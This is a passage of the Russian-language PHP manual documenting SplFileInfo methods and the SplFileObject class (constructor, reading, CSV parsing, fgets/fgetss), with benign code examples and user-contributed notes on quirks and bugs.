Используйте этот метод, чтобы проверить, является ли файл, на который ссылается объект SplFileInfo, ссылкой.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если файл является ссылкой; false в противном случае.

Примеры

Пример #1 Пример использования SplFileInfo::isLink()

<?php
$info = new SplFileInfo('/path/to/symlink');
if ($info->isLink()) {
echo 'Реальный путь: '.$info->getRealPath();
}
?>

Смотрите также

  • SplFileInfo::getRealPath() - Получает абсолютный путь к файлу

User Contributed Notes

There are no user contributed notes for this page.


Указывает, является ли файл доступным для чтения

  • « SplFileInfo::isLink
  • SplFileInfo::isWritable »
  • PHP Manual
  • SplFileInfo
  • Указывает, является ли файл доступным для чтения

SplFileInfo::isReadable

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isReadable — Указывает, является ли файл доступным для чтения

Описание

public SplFileInfo::isReadable(): bool

Проверяет, является ли файл доступным для чтения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если файл доступен для чтения; false в противном случае.

Примеры

Пример #1 Пример использования SplFileInfo::isReadable()

<?php
$info = new SplFileInfo('readable.jpg');
if ($info->isReadable()) {
echo $info->getFilename() . ' доступен для чтения';
}
?>

Результатом выполнения данного примера будет что-то подобное:

readable.jpg доступен для чтения

User Contributed Notes

There are no user contributed notes for this page.


Указывает, является ли файл доступным для записи

  • « SplFileInfo::isReadable
  • SplFileInfo::openFile »
  • PHP Manual
  • SplFileInfo
  • Указывает, является ли файл доступным для записи

SplFileInfo::isWritable

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::isWritable — Указывает, является ли файл доступным для записи

Описание

public SplFileInfo::isWritable(): bool

Проверяет, является ли текущий файл доступным для записи.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если файл доступен для записи; false в противном случае.

Примеры

Пример #1 Пример использования SplFileInfo::isWriteable()

<?php
$info = new SplFileInfo('locked.jpg');
if (!$info->isWriteable()) {
echo $info->getFilename() . ' не доступен для записи';
}
?>

Результатом выполнения данного примера будет что-то подобное:

locked.jpg не доступен для записи

User Contributed Notes

There are no user contributed notes for this page.


Получает объект SplFileObject для файла

  • « SplFileInfo::isWritable
  • SplFileInfo::setFileClass »
  • PHP Manual
  • SplFileInfo
  • Получает объект SplFileObject для файла

SplFileInfo::openFile

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::openFile — Получает объект SplFileObject для файла

Описание

public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject

Создаёт объект (object) SplFileObject файла. Это полезно, потому что SplFileObject содержит дополнительные методы для работы с файлом, в то время как SplFileInfo полезен только для получения информации, например, доступен ли файл для записи.

Список параметров

mode

Режим открытия файла. Смотрите документацию по fopen() с описанием возможных режимов. По умолчанию только для чтения.

useIncludePath

Если установлено в true, имя файла также ищется в include_path

context

Для описания контекстов обратитесь к следующему разделу руководства: контекст.

Возвращаемые значения

Открытый файл как объект (object) SplFileObject.

Ошибки

Выбрасывает RuntimeException, если файл не может быть открыт (например, недостаточно прав доступа).

Список изменений

Версия | Описание
8.0.0 | context теперь допускает значение null.

Примеры

Пример #1 Пример использования SplFileInfo::openFile()

<?php
$fileinfo = new SplFileInfo('/tmp/foo.txt');

if ($fileinfo->isWritable()) {

$fileobj = $fileinfo->openFile('a');

$fileobj->fwrite("образец текста");
}
?>

Смотрите также

  • SplFileObject
  • stream_context_create() - Создаёт контекст потока
  • fopen() - Открывает файл или URL

User Contributed Notes

There are no user contributed notes for this page.


Задаёт имя класса, который будет использоваться методом SplFileInfo::openFile

  • « SplFileInfo::openFile
  • SplFileInfo::setInfoClass »
  • PHP Manual
  • SplFileInfo
  • Задаёт имя класса, который будет использоваться методом SplFileInfo::openFile

SplFileInfo::setFileClass

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::setFileClass — Задаёт имя класса, который будет использоваться методом SplFileInfo::openFile()

Описание

public SplFileInfo::setFileClass(string $class = SplFileObject::class): void

Задаёт имя класса, которое будет использовать метод SplFileInfo::openFile(). Этим классом должен быть SplFileObject или наследник класса SplFileObject.

Список параметров

class

Имя класса для метода SplFileInfo::openFile().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplFileInfo::setFileClass()

<?php
// Создать класс, расширяющий SplFileObject
class MyFoo extends SplFileObject {}

$info = new SplFileInfo(__FILE__);
// Установить имя класса для использования
$info->setFileClass('MyFoo');
var_dump($info->openFile());
?>

Результатом выполнения данного примера будет что-то подобное:

object(MyFoo)#2 (0) { }

Смотрите также

  • SplFileInfo::openFile() - Получает объект SplFileObject для файла

User Contributed Notes

There are no user contributed notes for this page.


Задаёт имя класса, объекты которого будут создаваться методами SplFileInfo::getFileInfo и SplFileInfo::getPathInfo

  • « SplFileInfo::setFileClass
  • SplFileInfo::__toString »
  • PHP Manual
  • SplFileInfo
  • Задаёт имя класса, объекты которого будут создаваться методами SplFileInfo::getFileInfo и SplFileInfo::getPathInfo

SplFileInfo::setInfoClass

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::setInfoClass — Задаёт имя класса, объекты которого будут создаваться методами SplFileInfo::getFileInfo() и SplFileInfo::getPathInfo()

Описание

public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void

Задаёт имя класса, объекты которого будут создаваться при вызове методов SplFileInfo::getFileInfo() и SplFileInfo::getPathInfo(). Класс должен быть SplFileInfo или классом, производным от SplFileInfo.

Список параметров

class

Имя класса, который будет использоваться при вызове SplFileInfo::getFileInfo() и SplFileInfo::getPathInfo().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplFileInfo::setFileClass()

<?php
// Определить класс, который расширяет SplFileInfo
class MyFoo extends SplFileInfo {}

$info = new SplFileInfo('foo');
// Установить имя класса для использования
$info->setInfoClass('MyFoo');
var_dump($info->getFileInfo());
?>

Результатом выполнения данного примера будет что-то подобное:

object(MyFoo)#2 (0) { }

Смотрите также

  • SplFileInfo::getFileInfo() - Получает объект SplFileInfo для файла

User Contributed Notes

Eugene Kunkel 05-Nov-2019 03:21
Be careful when using this method, as the functionality isn't exactly the same as instantiating the extending class directly. This can really trip you up if you're using type hints or instanceof checks.

<?php

class CustomFileInfo extends SplFileInfo
{
    public function getExtension()
    {
        $ext = strtolower(parent::getExtension());

        return 'jpeg' === $ext ? 'jpg' : $ext;
    }
}

$path = __DIR__ . '/foobar.jpeg';

$good = new CustomFileInfo($path);

echo "<pre>";
var_dump($good instanceof SplFileInfo);
var_dump($good instanceof CustomFileInfo);

$bad = new SplFileInfo($path);
$bad->setInfoClass('CustomFileInfo');

var_dump($bad instanceof SplFileInfo);
var_dump($bad instanceof CustomFileInfo);
echo "</pre>";

?>

Outputs:

bool(true)
bool(true)
bool(true)
bool(false)


Возвращает путь к файлу в виде строки

  • « SplFileInfo::setInfoClass
  • SplFileObject »
  • PHP Manual
  • SplFileInfo
  • Возвращает путь к файлу в виде строки

SplFileInfo::__toString

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::__toString — Возвращает путь к файлу в виде строки

Описание

public SplFileInfo::__toString(): string

Этот метод вернёт имя указанного файла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает путь к файлу.

Примеры

Пример #1 Пример использования SplFileInfo::__toString()

<?php
$info = new SplFileInfo('foo');
var_dump($info->__toString());
echo $info.PHP_EOL;

$info = new SplFileInfo('/usr/bin/php');
var_dump($info->__toString());
echo $info.PHP_EOL;
?>

Результатом выполнения данного примера будет что-то подобное:

string(3) "foo"
foo
string(12) "/usr/bin/php"
/usr/bin/php

User Contributed Notes

alvaro at demogracia dot com 19-Jan-2016 10:57
It returns the exact $file_name string provided in the constructor, without further processing, normalisation or verification.


Класс SplFileObject

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Класс SplFileObject предоставляет объектно-ориентированный интерфейс для файла.

Обзор классов

class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* Константы */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* Методы */
public __construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)
public current(): string|array|false
public eof(): bool
public fflush(): bool
public fgetc(): string|false
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): string
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): int
public fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false
public fread(int $length): string|false
public fscanf(string $format, mixed &...$vars): array|int|null
public fseek(int $offset, int $whence = SEEK_SET): int
public fstat(): array
public ftell(): int|false
public ftruncate(int $size): bool
public fwrite(string $data, int $length = 0): int|false
public getChildren(): null
public getCsvControl(): array
public getFlags(): int
public getMaxLineLen(): int
public hasChildren(): false
public key(): int
public next(): void
public rewind(): void
public seek(int $line): void
public setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public setFlags(int $flags): void
public setMaxLineLen(int $maxLength): void
public __toString(): string
public valid(): bool
/* Наследуемые методы */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Предопределённые константы

SplFileObject::DROP_NEW_LINE

Удаляет символы переноса в конце строки.

SplFileObject::READ_AHEAD

Читает при использовании функций rewind/next.

SplFileObject::SKIP_EMPTY

Пропускает пустые строки с файле. Для правильной работы требуется включить флаг READ_AHEAD.

SplFileObject::READ_CSV

Читает строки в формате CSV.

Содержание

  • SplFileObject::__construct — Создаёт объект SplFileObject
  • SplFileObject::current — Получить текущую строки файла
  • SplFileObject::eof — Проверяет, достигнут ли конец файла
  • SplFileObject::fflush — Сбрасывает буфер вывода в файл
  • SplFileObject::fgetc — Получает символ из файла
  • SplFileObject::fgetcsv — Получить строку из файла и её разбор как поля CSV
  • SplFileObject::fgets — Получает строку из файла
  • SplFileObject::fgetss — Получить строку из файла и удалить теги HTML
  • SplFileObject::flock — Портируемая блокировка файла
  • SplFileObject::fpassthru — Выводит всё оставшееся содержимое файла в выходной поток
  • SplFileObject::fputcsv — Записать массив полей в виде строки CSV
  • SplFileObject::fread — Чтение из файла
  • SplFileObject::fscanf — Разбирает строку файла в соответствии с заданным форматом
  • SplFileObject::fseek — Перевод файлового указателя на заданную позицию
  • SplFileObject::fstat — Получает информацию о файле
  • SplFileObject::ftell — Вернуть текущую позицию файлового указателя
  • SplFileObject::ftruncate — Обрезает файл до заданной длины
  • SplFileObject::fwrite — Запись в файл
  • SplFileObject::getChildren — Метод-заглушка
  • SplFileObject::getCsvControl — Получает символы разделителя, обёртывания и экранирования для CSV
  • SplFileObject::getCurrentLine — Псевдоним SplFileObject::fgets
  • SplFileObject::getFlags — Получает флаги настройки объекта SplFileObject
  • SplFileObject::getMaxLineLen — Получить максимальную длину строки
  • SplFileObject::hasChildren — Класс SplFileObject не имеет наследников
  • SplFileObject::key — Получить номер строки
  • SplFileObject::next — Читать следующую строку
  • SplFileObject::rewind — Перемотка файлового указателя в начало файла
  • SplFileObject::seek — Перевод файлового указателя на заданную строку
  • SplFileObject::setCsvControl — Устанавливает символы разделителя, обёртывания и экранирования для CSV
  • SplFileObject::setFlags — Устанавливает флаги для SplFileObject
  • SplFileObject::setMaxLineLen — Установить максимальную длину строки
  • SplFileObject::__toString — Возвращает текущую строку в виде строки
  • SplFileObject::valid — Проверяет, достигнут ли конец файла (EOF)

User Contributed Notes

rlazarotto15+dont+spam+me at gmail dot com 04-Feb-2021 06:00
Complimenting marcus at synchromedia dot co dot uk comment, you can also do something like this:

<?php

// create a SplFileObject for reading - note that there are no flags
$file = new SplFileObject('/path/to/file', 'r');

// iterate over its contents
while (!$file->eof()) {
    // get the current line
    $line  =  $file->fgets();

    // trim it, and then check if its empty
    if (empty(trim($line))) {
        // skips the current iteration
        continue;
    }
}

While this may seem like a overkill for such thing, it allows you to do some processing with the empty lines that might come (I had to do this mostly because I needed to count empty lines instead of just skipping them). Since it also trims the line before checking if it's empty, you won't get lines composed only of empty spaces (I don't know if the flags also make it trim the content before checking it).
marcus at synchromedia dot co dot uk 16-Aug-2014 08:35
If you want to skip blank lines when reading a CSV file, you need *all * the flags:

$file->setFlags(SplFileObject::READ_CSV | SplFileObject::READ_AHEAD | SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE);
Lars Gyrup Brink Nielsen 05-Sep-2013 01:46
Note that this class has a private (and thus, not documented) property that holds the file pointer. Combine this with the fact that there is no method to close the file handle, and you get into situations where you are not able to delete the file with unlink(), etc., because an SplFileObject still has a handle open.

To get around this issue, delete the SplFileObject like this:

---------------------------------------------------------------------
<?php
print "Declaring file object\n";
$file = new SplFileObject('example.txt');

print "Trying to delete file...\n";
unlink('example.txt');

print "Closing file object\n";
$file = null;

print "Deleting file...\n";
unlink('example.txt');

print 'File deleted!';
?>
---------------------------------------------------------------------

which will output:

---------------------------------------------------------------------
Declaring file object
Trying to delete file...

Warning: unlink(example.txt): Permission denied in file.php on line 6
Closing file object
Deleting file...
File deleted!
---------------------------------------------------------------------


Создаёт объект SplFileObject

  • « SplFileObject
  • SplFileObject::current »
  • PHP Manual
  • SplFileObject
  • Создаёт объект SplFileObject

SplFileObject::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::__construct — Создаёт объект SplFileObject

Описание

public SplFileObject::__construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)

Создаёт новый файловый объект.

Список параметров

filename

Файл, который требуется прочитать.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

mode

Режим работы с файлом. Список возможных режимов работы приведён в описании функции fopen().

useIncludePath

Требуется ли просматривать include_path во время поиска файла filename.

context

Допустимый ресурс контекста, созданный функцией stream_context_create().

Ошибки

Выбрасывает исключение RuntimeException, если файл filename невозможно открыть.

Выбрасывает исключение LogicException, если filename является каталогом.

Примеры

Пример #1 Пример использования SplFileObject::__construct()

Этот пример открывает текущий файл и осуществляет перебор его строк.

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $line_num => $line) {
echo "Строка $line_num: $line";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Строка 0: <?php
Строка 1: $file = new SplFileObject(__FILE__);
Строка 2: foreach ($file as $line_num => $line) {
Строка 3:     echo "Line $line_num is $line";
Строка 4: }
Строка 5: ?>

Смотрите также

  • SplFileInfo::openFile() - Получает объект SplFileObject для файла
  • fopen() - Открывает файл или URL

User Contributed Notes

KEINOS at blog.keinos.com 22-May-2017 04:24
When using URL as a filename, such as "http://..." or "php://stdin", and also have the fopen wappers on, and you get a 'RuntimeException' error, try using "NoRewindIterator" class to a SplFileObject instance.

<?php
$url = 'http://sample.com/data.csv';
$file = new NoRewindIterator( new SplFileObject( $url ) );
foreach ($file as $line_num => $line) {
    echo "Line $line_num is $line";
}
?>

While opening a file, a rewind method will be called, but these URL iterators cannot be rewind, so you'll get a "Fatal error: Uncaught exception 'RuntimeException' with message 'Cannot rewind file ...'" error.
majna 20-Aug-2014 10:09
(PHP >= 5.3) If filename is a directory, a LogicException will be thrown: "Cannot use SplFileObject with directories"


Получить текущую строки файла

  • « SplFileObject::__construct
  • SplFileObject::eof »
  • PHP Manual
  • SplFileObject
  • Получить текущую строки файла

SplFileObject::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::current — Получить текущую строки файла

Описание

public SplFileObject::current(): string|array|false

Извлекает текущую строку файла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Извлекает текущую строку файла. Если задан флаг SplFileObject::READ_CSV, этот метод будет разбирать строку, как данные CSV, и вернёт массив. Если достигнут конец файла, возвращается false.

Примеры

Пример #1 Пример использования SplFileObject::current()

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $k => $line) {
echo ($file->key() + 1) . ': ' . $file->current();
}
?>

Результатом выполнения данного примера будет что-то подобное:

1: <?php
2: $file = new SplFileObject(__FILE__);
3: foreach ($file as $line) {
4:     echo ($file->key() + 1) . ': ' . $file->current();
5: }
6: ?>

Смотрите также

  • SplFileObject::key() - Получить номер строки
  • SplFileObject::seek() - Перевод файлового указателя на заданную строку
  • SplFileObject::next() - Читать следующую строку
  • SplFileObject::rewind() - Перемотка файлового указателя в начало файла
  • SplFileObject::valid() - Проверяет, достигнут ли конец файла (EOF)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, достигнут ли конец файла

  • « SplFileObject::current
  • SplFileObject::fflush »
  • PHP Manual
  • SplFileObject
  • Проверяет, достигнут ли конец файла

SplFileObject::eof

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::eof — Проверяет, достигнут ли конец файла

Описание

public SplFileObject::eof(): bool

Определяет, был ли достигнут конец файла

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если конец файла был достигнут; false в противном случае.

Примеры

Пример #1 Пример использования SplFileObject::eof()

<?php
$file = new SplFileObject("fruits.txt");
while ( ! $file->eof()) {
echo $file->fgets();
}
?>

Результатом выполнения данного примера будет что-то подобное:

apple
banana
cherry
date
elderberry

Смотрите также

  • SplFileObject::valid() - Проверяет, достигнут ли конец файла (EOF)
  • feof() - Проверяет, достигнут ли конец файла

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает буфер вывода в файл

  • « SplFileObject::eof
  • SplFileObject::fgetc »
  • PHP Manual
  • SplFileObject
  • Сбрасывает буфер вывода в файл

SplFileObject::fflush

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fflush — Сбрасывает буфер вывода в файл

Описание

public SplFileObject::fflush(): bool

Принудительная запись всех буферизованных данных в файл.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SplFileObject::fflush()

<?php
$file = new SplFileObject('misc.txt', 'r+');
$file->rewind();
$file->fwrite("Foo");
$file->fflush();
$file->ftruncate($file->ftell());
?>

Смотрите также

  • SplFileObject::fwrite() - Запись в файл

User Contributed Notes

There are no user contributed notes for this page.


Получает символ из файла

  • « SplFileObject::fflush
  • SplFileObject::fgetcsv »
  • PHP Manual
  • SplFileObject
  • Получает символ из файла

SplFileObject::fgetc

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fgetc — Получает символ из файла

Описание

public SplFileObject::fgetc(): string|false

Получает символ из файла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, содержащую один символ, прочитанный из файла, или false при достижении конца файла (EOF).

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Примеры

Пример #1 Пример использования SplFileObject::fgetc()

<?php
$file = new SplFileObject('file.txt');
while (false !== ($char = $file->fgetc())) {
echo "$char\n";
}
?>

Смотрите также

  • SplFileObject::fgets() - Получает строку из файла

User Contributed Notes

There are no user contributed notes for this page.


Получить строку из файла и её разбор как поля CSV

  • « SplFileObject::fgetc
  • SplFileObject::fgets »
  • PHP Manual
  • SplFileObject
  • Получить строку из файла и её разбор как поля CSV

SplFileObject::fgetcsv

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fgetcsv — Получить строку из файла и её разбор как поля CSV

Описание

public SplFileObject::fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false

Получает строку из файла и разбирает её в соответствии с форматом CSV. Результаты разбора возвращает в виде массива.

Замечание:

Эта функция принимает во внимание настройки локали. К примеру, если LC_CTYPE установлена в en_US.UTF-8, то файлы в однобайтовой кодировке будут неправильно прочитаны этой функцией.

Список параметров

separator

Разделитель полей (только один однобайтовый символ). По умолчанию это запятая или символ, который был задан методом SplFileObject::setCsvControl().

enclosure

Символ ограничителя полей (только один однобайтовый символ). По умолчанию это двойная кавычка или символ, который был задан методом SplFileObject::setCsvControl(). Пустая строка ("") отключает проприетарный механизм экранирования.

Замечание: Обычно символ enclosure экранируется внутри поля путём его удваивания; однако, символ escape в качестве альтернативы. Поэтому значения по умолчанию этих параметров "" и \" имеют одинаковое значение. Помимо разрешения экранировать символ enclosure символ escape не имеет особого смысла; он даже не предназначен для самого экранирования.

escape

Экранирующий символ (не более одного однобайтового символа). По умолчанию это обратный слеш (\) или символ, который был задан методом SplFileObject::setCsvControl().

Возвращаемые значения

Возвращает массив содержащий данные прочитанной строки или false в случае ошибки.

Замечание:

Пустая строка CSV-файла будет возвращаться в виде массива, содержащего единственный элемент null, если не используется SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE, и в этом случае пустые строки пропускаются.

Список изменений

Версия | Описание
7.4.0 | Теперь параметр escape может принимать пустую строку для отключения проприетарного механизма экранирования.

Примеры

Пример #1 Пример использования SplFileObject::fgetcsv()

<?php
$file = new SplFileObject("data.csv");
while (!$file->eof()) {
var_dump($file->fgetcsv());
}
?>

Пример #2 Пример использования SplFileObject::READ_CSV

<?php
$file = new SplFileObject("animals.csv");
$file->setFlags(SplFileObject::READ_CSV);
foreach ($file as $row) {
list($animal, $class, $legs) = $row;
printf("A %s is a %s with %d legs\n", $animal, $class, $legs);
}
?>

Contents of animals.csv

crocodile,reptile,4
dolphin,mammal,0
duck,bird,2
koala,mammal,4
salmon,fish,0

Результатом выполнения данного примера будет что-то подобное:

A crocodile is a reptile with 4 legs
A dolphin is a mammal with 0 legs
A duck is a bird with 2 legs
A koala is a mammal with 4 legs
A salmon is a fish with 0 legs

Смотрите также

  • SplFileObject::setCsvControl() - Устанавливает символы разделителя, обёртывания и экранирования для CSV
  • SplFileObject::setFlags() - Устанавливает флаги для SplFileObject
  • SplFileObject::READ_CSV
  • SplFileObject::current() - Получить текущую строки файла

User Contributed Notes

InvisibleSmiley 28-Oct-2021 01:14
Not that this may return NULL instead of FALSE depending on the given SplFileObject flags in versions prior to PHP 8.1.

Change: https://github.com/php/php-src/commit/188b1d4c7c7b3482584e248522d94e06ba616a1c

Testcase: https://3v4l.org/6dQTT
jbrauer 17-Feb-2020 04:28
Also while the enclosure character cannot be NULL you can set it to ASCII NUL character chr(0) with the same practical effect.
android991 at gmail dot com 18-Feb-2019 11:31
Be aware.
There is bug 46569 persists that breaks usage of SplFileObject::fgetcsv() after SplFileObject::seek()-ing to a non-zero position and then returns the contents of wrong line - off by one
<?php
$file = new SplFileObject('foo/bar.csv');
$file->seek(1);
print_r($file->fgetcsv()); // reads 3rd line against 2nd
Denitz 27-Sep-2018 12:45
If your CSV doesn't have enclosures, you can face an issue with default " identified as enclosure in data. Empty $enclosure is not allowed, but you can use same $enclosure as $delimiter (\n by default) to emulate empty enclosure.
vaughn dot clayton+php at servicetrade dot com 14-Nov-2012 02:15
Note that due to bugs 55807 and 61032, introduced in 5.3.8, if the csv in example #2 has a newline character at the end of each line, the foreach will execute 6 times.

The last time through the loop $row will be bool(false). This is true even if using SplFileObject::SKIP_EMPTY and SplFileObject::DROP_NEW_LINE.

Until the bug is fixed, the workaround is to also add SplFileObject::READ_AHEAD to your setFlags() call.
v-fpiris at teknober dot com 21-May-2011 07:56
after setting the delimiter '\t' fgetcsv() truncates the value when it is empty string

workaround:

<?php
$file = new SplFileObject($path);
$file->setFlags(SplFileObject::DROP_NEW_LINE);
while ($file->valid()) {
    $line = $file->fgets();
    $line = explode("\t", $line);

    print_r($line);
}
?>


Получает строку из файла

  • « SplFileObject::fgetcsv
  • SplFileObject::fgetss »
  • PHP Manual
  • SplFileObject
  • Получает строку из файла

SplFileObject::fgets

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fgets — Получает строку из файла

Описание

public SplFileObject::fgets(): string

Получает строку из файла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, содержащую следующую строку из файла.

Ошибки

Выбрасывает RuntimeException, если файл не может быть прочитан.

Примеры

Пример #1 Пример использования SplFileObject::fgets()

Этот пример построчно выводит содержимое file.txt.

<?php
$file = new SplFileObject("file.txt");
while (!$file->eof()) {
echo $file->fgets();
}
?>

Смотрите также

  • fgets() - Читает строку из файла
  • SplFileObject::fgetss() - Получить строку из файла и удалить теги HTML
  • SplFileObject::fgetc() - Получает символ из файла
  • SplFileObject::current() - Получить текущую строки файла

User Contributed Notes

Lucas Bustamante 22-Oct-2021 11:34
I forgot to mention in my previous note about PHP PHP 8.0.10, that you can use $file->current(); $file->next(); as a replacement for $file->fgets(); that works consistently from PHP 5.1 to 8.0.1+ after a seek():

<?php

$file = new SplTempFileObject();

for ($i = 0; $i < 100; $i++) {
    $file->fwrite("Foo $i\n");
}

$file->seek(50);

print_r(array(
    array('line' => $file->key(), 'contents' => trim($file->current()), 'triggerNext' => $file->next()),
    array('line' => $file->key(), 'contents' => trim($file->current()), 'triggerNext' => $file->next()),
    array('line' => $file->key(), 'contents' => trim($file->current()), 'triggerNext' => $file->next()),
));

?>

PHP 5.1 to 8.0.1+:

[
    {
        "line": 50,
        "contents": "Foo 50"
    },
    {
        "line": 51,
        "contents": "Foo 51"
    },
    {
        "line": 52,
        "contents": "Foo 52"
    }
]
Lucas Bustamante 22-Oct-2021 11:19
Notice that the behavior of fgets after a seek changed on PHP 8.0.10, if you seek to line 50 and run fgets, it will give you line 50, while on PHP 5.1~8.0.0 it would give you line 51:

<?php

$file = new SplTempFileObject();

for ($i = 0; $i < 100; $i++) {
    $file->fwrite("Foo $i\n");
}

$file->seek(50);

echo json_encode(array(
    array('line' => $file->key(), 'contents' => trim($file->fgets())),
    array('line' => $file->key(), 'contents' => trim($file->fgets())),
    array('line' => $file->key(), 'contents' => trim($file->fgets())),
), JSON_PRETTY_PRINT);

?>

Results:

PHP  8.0.1+
[
    {
        "line": 50,
        "contents": "Foo 50"
    },
    {
        "line": 50,
        "contents": "Foo 51"
    },
    {
        "line": 51,
        "contents": "Foo 52"
    }
]

PHP 5.1 to 8.0.0
[
    {
        "line": 50,
        "contents": "Foo 51"
    },
    {
        "line": 51,
        "contents": "Foo 52"
    },
    {
        "line": 52,
        "contents": "Foo 53"
    }
]
Chris Johnson 22-Jan-2018 09:45
Note that this method will cause a PHP fatal error if the file being read contains no recognizable line termination characters and is larger than the allowable memory size for PHP to allocate, i.e. memory_limit set in php.ini or similar.  In other words, PHP keeps reading until it finds a line termination, if it runs out of memory first, it will throw a fatal error.

This is different from the file resource fread() function, which allows an optional maximum length argument to be passed to limit this behavior.


Получить строку из файла и удалить теги HTML

  • « SplFileObject::fgets
  • SplFileObject::flock »
  • PHP Manual
  • SplFileObject
  • Получить строку из файла и удалить теги HTML

SplFileObject::fgetss

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fgetss — Получить строку из файла и удалить теги HTML

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.3.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public SplFileObject::fgetss(string $allowable_tags = ?): string

Работа функции идентична SplFileObject::fgets() за исключением того, что SplFileObject::fgetss() пытается очистить строку от любых тегов HTML и PHP. The function retains the parsing state from call to call, and as such is not equivalent to calling strip_tags() on the return value of SplFileObject::fgets(). Функция сохраняет состояние синтаксического анализа от вызова к вызову и поэтому не эквивалентна вызову strip_tags() для возвращаемого значения SplFileObject::fgets().

Список параметров

allowable_tags

Необязательный параметр для указания тегов, которые не следует удалять.

Возвращаемые значения

Возвращает строку из файла, очищенную от HTML- и PHP-кода, либо false в случае ошибки.

Примеры

Пример #1 Пример использования SplFileObject::fgetss()

<?php
$str = <<<EOD
<html><body>
<p>Добро пожаловать! Сегодня <?php echo(date('jS')); ?> <?= date('F'); ?>.</p>
</body></html>
Текст вне блока HTML.
EOD;
file_put_contents("sample.php", $str);

$file = new SplFileObject("sample.php");
while (!$file->eof()) {
echo $file->fgetss();
}
?>

Результатом выполнения данного примера будет что-то подобное:

 Добро пожаловать! Сегодня .

Текст вне блока HTML.

Смотрите также

  • fgetss() - Читает строку из файла и удаляет HTML-теги
  • SplFileObject::fgets() - Получает строку из файла
  • SplFileObject::fgetc() - Получает символ из файла
  • SplFileObject::current() - Получить текущую строки файла
  • Фильтр string.strip_tags

User Contributed Notes

There are no user contributed notes for this page.


Портируемая блокировка файла

  • « SplFileObject::fgetss
